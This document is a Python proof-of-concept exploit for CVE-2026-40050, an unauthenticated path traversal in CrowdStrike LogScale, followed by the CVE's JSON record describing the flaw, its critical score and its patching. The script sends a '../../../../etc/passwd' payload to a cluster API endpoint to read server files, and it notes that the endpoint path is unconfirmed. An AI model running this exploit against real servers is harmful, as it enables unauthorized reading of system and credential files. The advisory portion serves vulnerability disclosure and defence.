CVE-2026-40050

import requests def exploit_poc(target_url): """ PoC for CVE-2026-40050: Unauthenticated Path Traversal in CrowdStrike LogScale This script attempts to read /etc/passwd from the target server. """ # The specific cluster API endpoint vulnerable to path traversal # Note: The exact endpoint path needs to be confirmed based on the version vulnerable_endpoint = "/api/v1/cluster/export" # Path traversal payload to read /etc/passwd payload = "../../../../etc/passwd" full_url = f"{target_url}{vulnerable_endpoint}?file={payload}" headers = { "User-Agent": "CVE-2026-40050-Scanner" } try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit_poc(target)

{"cve": {"id": "CVE-2026-40050", "sourceIdentifier": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "published": "2026-04-21T17:16:53.610", "lastModified": "2026-04-22T21:24:26.997", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CrowdStrike has released security updates to address a critical unauthenticated path traversal vulnerability (CVE-2026-40050) in LogScale. This vulnerability only requires mitigation by customers that host specific versions of LogScale and does not affect Next-Gen SIEM customers. The vulnerability exists in a specific cluster API endpoint that, if exposed, allows a remote attacker to read arbitrary files from the server filesystem without authentication.\n\nNext-Gen SIEM customers are not affected and do not need to take any action. CrowdStrike mitigated the vulnerability for LogScale SaaS customers by deploying network-layer blocks to all clusters on April 7, 2026. We have proactively reviewed all log data and there is no evidence of exploitation.\n\nLogScale Self-hosted customers should upgrade to a patched version immediately to remediate the vulnerability.\n\nCrowdStrike identified this vulnerability during continuous and ongoing product testing."}], "metrics": {"cvssMetricV31": [{"source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.crowdstrike.com/en-us/security-advisories/cve-2026-40050/", "source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661"}]}}